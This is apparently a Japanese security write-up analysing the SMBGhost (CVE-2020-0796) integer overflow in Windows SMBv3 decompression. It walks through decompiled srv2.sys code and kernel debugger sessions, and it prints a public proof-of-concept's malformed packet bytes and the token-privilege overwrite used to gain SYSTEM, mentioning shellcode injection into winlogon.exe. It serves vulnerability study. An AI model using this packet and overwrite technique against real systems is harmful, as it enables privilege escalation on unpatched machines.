
CVE-2020-0796 (SMBGhost) の技術的分析と概念実証、SMBv3 圧縮における整数オーバーフローの脆弱性で、Windows 10/Server でローカル特権昇格を引き起こす。
Windows 10/Server version 1903 から SMBv3 に追加された圧縮機能には、Microsoft が 2020 年 3 月 12 日に確認した整数オーバーフローの脆弱性が含まれています。これにより、攻撃者は Local Privilege Escalation (LPE) および Remote Code Execution (RCE) を実行できます。ここでは LPE の脆弱性についてのみ説明します。
影響を受けるバージョン:
srv2.sys ファイルを分析すると、Decompress に関連する関数が以下のように呼び出されていることがわかります。``` js
Srv2ReceiveHandler
|
|
v
Srv2DecompressMessageAsync
|
|
v
Srv2DecompressData -------> SrvNetAllocateBuffer
|
|
v
SmbCompressionDecompress
|
|
v
memcpy
まず、`Srv2ReceiveHandler`関数が呼び出され、SMBデータパケットを受信し、プロトコルID `ProtocolId`に対応する関数を呼び出します。`ProtocolId` = 0x424D53FCの場合、`Srv2DecompressMessageAsync`関数を呼び出し、その関数が`Srv2DecompressData`を呼び出してデータパケットを解凍します。`Srv2DecompressData`関数は`SrvNetAllocateBuffer`を呼び出して、解凍後のデータを格納するための`Alloc`を割り当て、次に`SmbCompressionDecompress`を呼び出してデータパケットを解凍し、最後に`memcpy`を呼び出します。このように、解凍プロセス全体は以下の主要なステップで構成されます。
- 1. 割り当て
- 2. 解凍
- 3. コピー
Microsoftが提供するドキュメントによると、`COMPRESSION_TRANSFORM_HEADER`構造体は、クライアントとサーバー間で圧縮データを送受信するために使用されます。その構造は以下の通りです。``` c
typedef struct _COMPRESSION_TRANSFORM_HEADER
{
ULONG ProtocolId;
ULONG OriginalCompressedSegmentSize;
USHORT CompressionAlgorithm;
USHORT Flags;
ULONG Offset;
} ;
ここでは、上記の2つの主要フィールドに焦点を当てます:
OriginalCompressedSegmentSize は、非圧縮データセグメントのサイズ(バイト単位)です。Offset は、圧縮データの開始点と _COMPRESSION_TRANSFORM_HEADER 構造体の終了点との間のバイト単位のオフセットです。したがって、圧縮されたデータパケットは次のような形式になります:
``` c
typedef struct _ALLOCATION_HEADER
{
// ...
PVOID UserBuffer;
// ...
} ALLOCATION_HEADER, *PALLOCATION_HEADER;
NTSTATUS Srv2DecompressData(PCOMPRESSION_TRANSFORM_HEADER Header, SIZE_T TotalSize) { PALLOCATION_HEADER Alloc = SrvNetAllocateBuffer( (ULONG)(Header->OriginalCompressedSegmentSize + Header->Offset), NULL); If (!Alloc) { return STATUS_INSUFFICIENT_RESOURCES; }
ULONG FinalCompressedSize = 0;
NTSTATUS Status = SmbCompressionDecompress(
Header->CompressionAlgorithm,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER) + Header->Offset,
(ULONG)(TotalSize - sizeof(COMPRESSION_TRANSFORM_HEADER) - Header->Offset),
(PUCHAR)Alloc->UserBuffer + Header->Offset,
Header->OriginalCompressedSegmentSize,
&FinalCompressedSize);
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
SrvNetFreeBuffer(Alloc);
return STATUS_BAD_DATA;
}
if (Header->Offset > 0) {
memcpy(
Alloc->UserBuffer,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
Header->Offset);
}
Srv2ReplaceReceiveBuffer(some_session_handle, Alloc);
return STATUS_SUCCESS;
}
`Srv2DecompressData`関数の分析では、この関数が圧縮されたパケットデータ `COMPRESSION_TRANSFORM_HEADER`(ヘッダー)を受け取り、`SrvNetAllocateBuffer`関数を使用して `Header->OriginalCompressedSegmentSize` + `Header->Offset` の合計をパラメータとしてメモリ領域(Alloc)を割り当て、その後圧縮データを展開し、非圧縮データを `Alloc->Buffer` にコピーすることがわかります。

整数オーバーフローのバグは、`Srv2DecompressData` が `SrvNetAllocateBuffer` を呼び出すときに発生します。`SrvNetAllocateBuffer` 関数は実際には2つの64ビット値を受け取りますが、`Srv2DecompressData` が `SrvNetAllocateBuffer` を呼び出す際には、2つの32ビット値(ULONG)のみを渡します。一方、`OriginalCompressedSegmentSize` と `Offset` はどちらも ULONG であり、これらを加算すると32ビットを超える値が得られる可能性があります。そのため、整数オーバーフローが発生します(簡単に言えば、`0xffffffff`(`OriginalCompressedSegmentSize`)と `0x10`(`Offset`)を加算すると `0xf0000000f` という値が得られますが、`SrvNetAllocateBuffer` 関数は `0x0000000f` の値のみを受け取ります)。

整数オーバーフローにより、Alloc メモリ領域の割り当てが誤って行われ(割り当てられるべきサイズが実際のサイズよりも小さくなる)、バッファオーバーフローが発生する可能性があります:

バッファオーバーフローが発生するかどうか、またどのように発生するかを確認するには、`SrvNetAllocateBuffer` 関数と `SmbCompressionDecompress` 関数を分析します。``` c
PALLOCATION_HEADER SrvNetAllocateBuffer(SIZE_T AllocSize, PALLOCATION_HEADER SourceBuffer)
{
v2 = *MK_FP(__GS__, 420i64);
v3 = 0;
v4 = a2;
v5 = 0;
if ( SrvDisableNetBufferLookAsideList || allocSize > 0x100100 )
{
if ( allocSize > 0x1000100 )
return 0i64;
v11 = SrvNetAllocateBufferFromPool(allocSize, allocSize);
}
else
{
if ( allocSize > 0x1100 )
{
_RCX = allocSize - 256;
__asm
{
bsr rdx, rcx
bsf rax, rcx
}
if ( (_DWORD)_RDX == (_DWORD)_RAX )
v3 = _RDX - 12;
else
v3 = _RDX - 11;
}
v6 = SrvNetBufferLookasides[(unsigned __int64)v3];
v7 = *(_DWORD *)v6 - 1;
if ( (unsigned int)(unsigned __int16)v2 + 1 < *(_DWORD *)v6 )
v7 = (unsigned __int16)v2 + 1;
v8 = (unsigned int)v7;
v9 = *(_QWORD *)(v6 + 32);
v10 = *(_QWORD *)(v9 + 8 * v8);
if ( !*(_BYTE *)(v10 + 0x70) )
PplpLazyInitializeLookasideList(v6, *(_QWORD *)(v9 + 8 * v8));
++*(_DWORD *)(v10 + 20);
v11 = (unsigned __int64)ExpInterlockedPopEntrySList((PSLIST_HEADER)v10);
if ( !v11 )
{
++*(_DWORD *)(v10 + 24);
v12 = *(_DWORD *)(v10 + 44);
v13 = *(_DWORD *)(v10 + 40);
v14 = *(_DWORD *)(v10 + 36);
LODWORD(v15) = sub_1C00110B0(*(int (**)(void))(v10 + 48));
v11 = v15;
}
v5 = 2;
}
if ( v11 )
{
*(_WORD *)(v11 + 0x10) |= v5;
*(_WORD *)(v11 + 0x12) = v3;
*(_WORD *)(v11 + 0x14) = v2;
if ( v4 )
{
v24 = *(_DWORD *)(v4 + 0x24);
if ( v24 >= *(_DWORD *)(v11 + 0x20) )
v24 = *(_DWORD *)(v11 + 0x20);
v25 = *(void **)(v11 + 0x18);
*(_DWORD *)(v11 + 0x24) = v24;
memcpy(v25, *(const void **)(v4 + 0x18), v24);
v26 = *(_WORD *)(v4 + 0x16);
if ( v26 )
{
*(_WORD *)(v11 + 0x16) = v26;
memcpy((void *)(v11 + 0x64), (const void *)(v4 + 0x64), 0x10i64 * *(_WORD *)(v4 + 0x16));
}
}
else
{
*(_DWORD *)(v11 + 36) = 0;
}
}
return v11;
}
上記のコードはIDA Proの疑似コードから取られたもので、かなりわかりにくいです。しかし、Zecopsによって書き直されたコードを見ることで簡単に理解できます:``` c PALLOCATION_HEADER SrvNetAllocateBuffer(SIZE_T AllocSize, PALLOCATION_HEADER SourceBuffer) { // ...
if (SrvDisableNetBufferLookAsideList || AllocSize > 0x100100) {
if (AllocSize > 0x1000100) {
return NULL;
}
Result = SrvNetAllocateBufferFromPool(AllocSize, AllocSize);
} else {
int LookasideListIndex = 0;
if (AllocSize > 0x1100) {
LookasideListIndex = /* some calculation based on AllocSize */;
}
SOME_STRUCT list = SrvNetBufferLookasides[LookasideListIndex];
Result = /* fetch result from list */;
}
// Initialize some Result fields...
return Result;
}
関数`SrvNetAllocateBuffer`は、割り当てるサイズを受け取り、そのサイズが0x100100より大きいかどうかをチェックし、大きい場合はNULLを返します。この関数はさらに、変数`SrvDisableNetBufferLookAsideList`をチェックしますが、この変数に関する文書は見つからず、デフォルトで0に設定されているため、おそらく重要ではないでしょう。
条件が満たされた場合、関数は受け取ったAllocSizeに基づいてインデックス値を計算し、そのインデックスに基づいて配列`SrvNetBufferLookasides`(この配列は9つの要素を持つ)から値を取得し、割り当てを実行します。アセンブリコードから、Zecopsは`python`を使用して各インデックスに対応するサイズを計算しました:``` py
>>> [hex((1 << (i + 12)) + 256) for i in range(9)]
[‘0x1100’, ‘0x2100’, ‘0x4100’, ‘0x8100’, ‘0x10100’, ‘0x20100’, ‘0x40100’, ‘0x80100’, ‘0x100100’]
したがって、割り当てサイズが 0x1100 以下の要求の場合、関数は 0x1100 のメモリ領域を割り当てます。割り当てサイズが 0x1100 より大きく 0x2100 以下の要求の場合、関数は 0x2100 のメモリ領域を割り当てます。より大きな割り当て要求についても同様です。
割り当てが完了すると、関数は Zcops が ALLOCATION_HEADER と名付けた構造体を格納するアドレスを返します。調査によると、この構造体には次のようなデータが含まれています。

興味深いことに、ALLOCATION_HEADER は ALLOCATION_HEADER->UserBuffer のすぐ下に位置しています。UserBuffer でバッファオーバーフローが可能であれば、ALLOCATION_HEADER に任意の値を書き込むことができます。

次に、関数 SmbCompressionDecompress が何を行うかを見てみましょう。``` c
__int64 __fastcall SmbCompressionDecompress(int CompressionAlgorithm, __int64 DataCompressed, __int64 SizeCompressed, __int64 AllocUserbufferDecompress, unsigned int OriginalCompressedSegmentSize, __int64 FinalCompressedSize)
{
PVOID v6; // rdi@1
__int64 v7; // r14@1
__int64 v8; // r15@1
int v9; // ebx@2
int v10; // ecx@3
int v11; // ecx@4
signed __int16 v12; // bx@6
__int64 v13; // rsi@12
unsigned int v14; // ebp@12
int v16; // [sp+40h] [bp-28h]@1
SIZE_T NumberOfBytes; // [sp+70h] [bp+8h]@1
v16 = 0; v6 = 0i64; LODWORD(NumberOfBytes) = 0; v7 = AllocUserbufferDecompress; v8 = DataCompressed; if ( !CompressionAlgorithm ) goto LABEL_2; v10 = CompressionAlgorithm - 1; if ( v10 ) { v11 = v10 - 1; if ( v11 ) { if ( v11 != 1 ) { LABEL_2: v9 = 0xC00000BB; return (unsigned int)v9; } v12 = 4; } else { v12 = 3; } } else { v12 = 2; } if ( RtlGetCompressionWorkSpaceSize((unsigned __int16)v12, &NumberOfBytes, &v16) < 0 || (v6 = ExAllocatePoolWithTag((POOL_TYPE)512, 0i64, 0x2532534Cu)) != 0i64 ) { v13 = FinalCompressedSize; v14 = OriginalCompressedSegmentSize; v9 = RtlDecompressBufferEx2((unsigned __int16)v12, v7, OriginalCompressedSegmentSize, v8); if ( v9 >= 0 ) *(_DWORD *)v13 = v14; if ( v6 ) ExFreePoolWithTag(v6, 0x2532534Cu); } else { v9 = 0xC000009A; } return (unsigned int)v9; }
上記のコードはIDAの疑似コードから取得されています。上記のコードが何をするか理解できない場合は、Zecopsが書き直したコードを見ることができます:``` c
NTSTATUS SmbCompressionDecompress(
USHORT CompressionAlgorithm,
PUCHAR UncompressedBuffer,
ULONG UncompressedBufferSize,
PUCHAR CompressedBuffer,
ULONG CompressedBufferSize,
PULONG FinalCompressedSize)
{
// ...
NTSTATUS Status = RtlDecompressBufferEx2(
...,
FinalUncompressedSize,
...);
if (Status >= 0) {
*FinalCompressedSize = CompressedBufferSize;
}
// ...
return Status;
}
この関数は基本的に圧縮されたデータを解凍し、Alloc->UserBuffer + Offset に保存します。解凍に成功した場合、FinalCompressedSize パラメータは CompressedBufferSize パラメータと同じ値、つまり Srv2DecompressData 関数から渡された OriginalCompressedSegmentSize の値に設定されます。
Srv2DecompressData 関数に戻ると、SmbCompressionDecompress 関数を実行した後、関数は FinalCompressedSize と OriginalCompressedSegmentSize の値が等しいかどうかを比較し、返された Status が < 0 かどうかを調べます。``` c
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) { // bypass
SrvNetFreeBuffer(Alloc);
return STATUS_BAD_DATA;
}
前述のとおり、解凍が成功した場合、`FinalCompressedSize`と`OriginalCompressedSegmentSize`は等しくなり、`Status`の戻り値は0以上になります。したがって、解凍が成功した場合、上記のif文内のコードは実行されません。次に、次のコードブロックを分析します:``` c
if (Header->Offset > 0) {
memcpy( // copy raw data into UserBuffer
Alloc->UserBuffer,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
Header->Offset);
}
このコードは、Header->Offset > 0 をチェックします。Offset の値は、ヘッダーの末尾と圧縮データ領域の間のオフセットであり、非圧縮データ領域のサイズに相当します。その後、memcpy 関数を呼び出して、非圧縮データ領域を Alloc->UserBuffer の先頭にコピーします。
つまり、バッファオーバーフローの脆弱性を利用して Alloc Header 領域を上書きし、Alloc->UserBuffer ポインタの値をアドレス A に変更できた場合、アドレス A にはクライアントが送信した非圧縮データが格納されることになります。より明確にするため、Daniel García Gutiérrez (@danigargu) 氏と Manuel Blanco Parajón (@dialluvioso_) 氏による POC を分析し、デバッグして理解を深めます。
POC は以下の処理を実行します。
自身のトークンを取得する。
サイズ 0x1110 の buffer 配列を作成し、配列の先頭に 0x1108 個の 'A' 文字を格納し、その後ろに上記で取得した [Token + 0x40] の値を格納する。この目的については後述する。
配列 buffer 内のデータを圧縮し、compressed_buffer 配列に格納する。
以下のデータを含む配列 buf を作成する。``` c
const uint8_t buf[] = {
/* NetBIOS Wrapper */
0x00,
0x00, 0x00, 0x33,
/* SMB Header */
0xFC, 0x53, 0x4D, 0x42, /* protocol id */
0xFF, 0xFF, 0xFF, 0xFF, /* original decompressed size, trigger arithmetic overflow */
0x02, 0x00, /* compression algorithm, LZ77 */
0x00, 0x00, /* flags */
0x10, 0x00, 0x00, 0x00, /* offset */
};
- Sau đó tạo một mảng `packet` có kích thước: `sizeof(buf) + 0x10 + len`, với `len` là kích thước của `buffer` sau khi nén ở trên (kích thước **data** của `compressed_buffer`).
- Copy dữ liệu của mảng `buf` vào `packet`, tiếp đến là copy giá trị `0x1FF2FFFFBC` vào và đến dữ liệu của mảng `compressed_buffer`:``` c
memcpy(packet, buf, sizeof(buf));
*(uint64_t*)(packet + sizeof(buf)) = 0x1FF2FFFFBC;
*(uint64_t*)(packet + sizeof(buf) + 0x8) = 0x1FF2FFFFBC;
memcpy(packet + sizeof(buf) + 0x10, compressed_buffer, len);
packet を SMB サーバーに送信します。以下、上記で述べた POC における課題を説明します。
なぜ buffer 配列をサイズ 0x1110 バイトで作成し、0x1108 個の 'A' と値 [token + 0x40] を格納する必要があるのでしょうか。一般的に、この POC の目的は、SMB 内の関数を使用して、自身の token->Privileges の値 ([Token + 0x40]) を変更することです。
SMB ヘッダー部分では、original decompressed size と Offset に注目します。それぞれの値は 0xffffffff と 0x00000010 です。これは SMB に整数オーバーフローのバグを発生させ、その結果、サイズが 0x1100 しかない Alloc->Buffer 配列を割り当てるためです(0x1110 + Raw data size よりも小さい)。
値 0x1FF2FFFFBC はヘッダー後の 0x10 バイトに格納されており、これは SYSTEM プロセスの token->Privileges->Present および token->Privileges->Enabled に保存されている値に対応します。つまり、token->Privileges->Present と token->Privileges->Enabled が 0x1FF2FFFFBC と等しいプロセスは、SYSTEM プロセスと同様の特権を持つことになります。
上記の情報から、POC は SMB 内の関数を使用して、自身の token->Privileges->Present と token->Privileges->Enabled の値を 0x1FF2FFFFBC に変更しようとしていることが推測できます。正確に確認するために、カーネルデバッグセクションに進みます。
まず、関数 Srv2DecompressData の先頭にブレークポイントを設定します。```
0: kd> bm srv2!Srv2DecompressData
1: fffff80717c47e60 @!"srv2!Srv2DecompressData" 0: kd> bl 1 e Disable Clear fffff80717c47e60 0001 (0001) srv2!Srv2DecompressData
その後、POC を実行すると、`Srv2DecompressData` 関数が呼び出され、カーネルは関数 `srv2!Srv2DecompressData` の先頭で停止します。
Header のデータを確認します。```
1: kd> dd ffffd10e92347c10
ffffd10e`92347c10 424d53fc ffffffff 00000002 00000010
ffffd10e`92347c20 f2ffffbc 0000001f f2ffffbc 0000001f
ffffd10e`92347c30 403fffff 0f000741 701104ff 8dafb9e7
ffffd10e`92347c40 00ffffae 00000000 00000000 00000000
これは、上記のPOC分析でPOCがSMBに送信したpacket配列のデータです。最初の0x10バイトはSMBヘッダー部分です。次の0x10バイトには、0x1FF2FFFFBCという値が2回含まれており、これが生データ領域です。そして次の0x13バイトは圧縮されたバッファデータです。したがって、ヘッダーの合計サイズは0x33バイトです。
関数SrvNetAllocateBufferが呼び出される時点で、渡されるパラメータを確認すると、確かに関数SrvNetAllocateBufferはパラメータ0xfとnullを受け取ります。

関数SrvNetAllocateBufferの戻り値は、この記事での呼称に従ってALLOCATION_HEADER構造体へのポインタです。```
1: kd> dd rax
ffffd10e94729150 ca9a7573 417b1178 32fe5f70 dc85f193 ffffd10e94729160 00000002 00000001 94728050 ffffd10e
ffffd10e`94729170 00001100 00000000 00001278 75881029

次に、`SmbCompressionDecompress`関数が呼び出され、解凍されたデータを`Alloc->Buffer + Header -> Offset`に書き込みます。```
1: kd> dd ffffd10e94728050
ffffd10e`94728050 1050118b 3318f0fa 00000000 00000000
ffffd10e`94728060 41414141 41414141 41414141 41414141
ffffd10e`94728070 41414141 41414141 41414141 41414141
...
ffffd10e`94729150 41414141 41414141 41414141 41414141
ffffd10e`94729160 41414141 41414141 afb9e770 ffffae8d
ffffd10e`94729170 00001100 00000000 00001278 75881029
1: kd> dt _sep_token_privileges ffffae8dafb9e770
nt!_SEP_TOKEN_PRIVILEGES
+0x000 Present : 0x00000006`02880000
+0x008 Enabled : 0x800000
+0x010 EnabledByDefault : 0x40800000

このとき、Alloc->Buffer は [Token + 0x40] のアドレスに上書きされています。関数 Srv2DecompressData は memcpy(Alloc->UserBuffer, (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER), Header->Offset); を呼び出して raw データを Alloc->UserBuffer にコピーします。しかし、Alloc->UserBuffer は Token->Privileges に上書きされているため、raw データが Token->Privileges に書き込まれます。```
1: kd> dt _sep_token_privileges ffffae8dafb9e770
nt!_SEP_TOKEN_PRIVILEGES
+0x000 Present : 0x0000001ff2ffffbc +0x008 Enabled : 0x0000001ff2ffffbc
+0x010 EnabledByDefault : 0x40800000

ここまでで、POCプログラムはSYSTEM権限を取得しました。次はSYSTEMプログラム(winlogon.exe)を開き、cmdを起動するシェルコードを注入します。
# 参考
[SMB2 COMPRESSION_TRANSFORM_HEADER](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/1d435f21-9a21-4f4c-828e-624a176cf2a0)
[Exploiting SMBGhost (CVE-2020-0796) for a Local Privilege Escalation: Writeup + POC](https://blog.zecops.com/vulnerabilities/exploiting-smbghost-cve-2020-0796-for-a-local-privilege-escalation-writeup-and-poc/)
[CVE-2020-0796 Windows SMBv3 LPE Exploit POC Analysis](https://paper.seebug.org/1165/)
[Token Abuse for Privilege Escalation in Kernel](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/how-kernel-exploits-abuse-tokens-for-privilege-escalation)
<p align="right">
<b><i>DatntSec. Viettel Cyber Security.<i><b>
</p>